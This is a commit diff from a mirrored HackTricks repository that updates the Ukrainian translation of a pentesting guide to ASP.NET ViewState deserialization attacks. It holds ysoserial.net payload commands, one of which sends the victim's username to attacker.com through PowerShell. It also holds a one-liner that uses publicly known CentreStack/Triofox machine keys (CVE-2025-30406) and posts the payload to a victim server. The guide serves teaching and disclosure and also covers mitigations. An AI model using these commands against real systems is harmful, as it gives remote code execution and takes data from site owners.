mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
3896c30935
commit
5312a458fc
@ -70,7 +70,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
||||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||||
--modifier : __VIWESTATEGENERATOR parameter value
|
||||
```
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) - це ще один інструмент, який може ідентифікувати відомі machineKeys. Він написаний на Python, тому, на відміну від Blacklist3r, немає залежності від Windows. Для .NET viewstates є утиліта "python blacklist3r", яка є найшвидшим способом її використання.
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) - це ще один інструмент, який може ідентифікувати відомі machineKeys. Він написаний на Python, тому на відміну від Blacklist3r, немає залежності від Windows. Для .NET viewstates є утиліта "python blacklist3r", яка є найшвидшим способом її використання.
|
||||
|
||||
Її можна забезпечити viewstate та генератором безпосередньо:
|
||||
```
|
||||
@ -112,7 +112,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
|
||||
**У цьому випадку** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **модуль знаходиться в розробці...**
|
||||
|
||||
**Перед .NET 4.5**, ASP.NET може **приймати** **незашифрований** \_`__VIEWSTATE`\_ параметр від користувачів **навіть** якщо **`ViewStateEncryptionMode`** було встановлено на _**Always**_. ASP.NET **лише перевіряє** **наявність** параметра **`__VIEWSTATEENCRYPTED`** у запиті. **Якщо видалити цей параметр і надіслати незашифрований payload, він все ще буде оброблений.**
|
||||
**До .NET 4.5**, ASP.NET може **приймати** **незашифрований** \_`__VIEWSTATE`\_ параметр від користувачів **навіть** якщо **`ViewStateEncryptionMode`** було встановлено на _**Always**_. ASP.NET **лише перевіряє** **наявність** параметра **`__VIEWSTATEENCRYPTED`** у запиті. **Якщо видалити цей параметр і надіслати незашифрований payload, він все ще буде оброблений.**
|
||||
|
||||
Отже, якщо зловмисники знайдуть спосіб отримати Machinekey через іншу вразливість, таку як обходження файлів, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) команда, використана в **Випадку 2**, може бути використана для виконання RCE за допомогою вразливості десеріалізації ViewState.
|
||||
|
||||
@ -147,7 +147,7 @@ python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6
|
||||
```
|
||||

|
||||
|
||||
Якщо дійсний Machine key ідентифіковано, **наступним кроком є генерація серіалізованого payload за допомогою** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
Якщо знайдено дійсний Machine key, **наступним кроком є генерація серіалізованого payload за допомогою** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
```
|
||||
@ -155,7 +155,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||
|
||||

|
||||
|
||||
Успішна експлуатація вразливості десеріалізації ViewState призведе до запиту поза каналом на сервер, контрольований зловмисником, який міститиме ім'я користувача. Цей тип експлуатації продемонстровано в доказі концепції (PoC), який можна знайти через ресурс під назвою "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Для отримання додаткових деталей про те, як працює процес експлуатації та як використовувати інструменти, такі як Blacklist3r для ідентифікації MachineKey, ви можете переглянути наданий [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||
Успішна експлуатація вразливості десеріалізації ViewState призведе до запиту поза каналом на сервер, контрольований зловмисником, який міститиме ім'я користувача. Цей тип експлойту продемонстровано в доказі концепції (PoC), який можна знайти через ресурс під назвою "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Для отримання додаткових деталей про те, як працює процес експлуатації та як використовувати інструменти, такі як Blacklist3r для ідентифікації MachineKey, ви можете переглянути наданий [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||
|
||||
### Тестовий випадок 6 – Використовується ViewStateUserKeys
|
||||
|
||||
@ -198,14 +198,54 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
||||
--islegacy --minify
|
||||
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
||||
```
|
||||
Цей **примітив екстракції ключів** масово експлуатувався проти локальних серверів SharePoint у 2025 році ("ToolShell" – CVE-2025-53770/53771), але він застосовний до будь-якого ASP.NET додатку, де зловмисник може виконувати код на стороні сервера.
|
||||
Цей **примітив ексфільтрації ключів** масово експлуатувався проти локальних серверів SharePoint у 2025 році ("ToolShell" – CVE-2025-53770/53771), але він застосовний до будь-якого ASP.NET додатку, де зловмисник може виконувати код на стороні сервера.
|
||||
|
||||
## Сценарії реального світу експлуатації 2024-2025 років та жорстко закодовані машинні ключі
|
||||
|
||||
### Хвиля "публічно розкритих машинних ключів" Microsoft (грудень 2024 – лютий 2025)
|
||||
Microsoft Threat Intelligence повідомила про масову експлуатацію сайтів ASP.NET, де *machineKey* раніше був витік на публічних джерелах (GitHub gists, блоги, сайти для вставки). Противники перерахували ці ключі та згенерували дійсні `__VIEWSTATE` гаджети з новішими прапорами `ysoserial.net` 1.41 `--minify` та `--islegacy`, щоб уникнути обмежень довжини WAF:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
||||
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
||||
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
||||
--generator=<VIEWSTATEGEN> --minify
|
||||
```
|
||||
Обертання статичних ключів або перехід на *AutoGenerate* ключі в Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) зменшує ризик цього класу атак. {{#ref}}
|
||||
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2025-30406 – Gladinet CentreStack / Triofox жорстко закодовані ключі
|
||||
Kudelski Security виявила, що кілька версій CentreStack / Triofox постачалися з ідентичними значеннями `machineKey`, що дозволяло неавтентифіковане віддалене виконання коду через підробку ViewState (CVE-2025-30406).
|
||||
|
||||
Однорядний експлойт:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
|
||||
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
|
||||
--validationalg=SHA1 \
|
||||
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
|
||||
--decryptionalg=AES --generator=24D41AAB --minify \
|
||||
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
|
||||
```
|
||||
Виправлено в CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – оновіть або замініть ключі негайно. {{#ref}}
|
||||
|
||||
|
||||
{{#endref}}
|
||||
|
||||
## Посилання
|
||||
|
||||
- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [Introducing badsecrets – fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
|
||||
- [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
|
||||
- [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
|
||||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user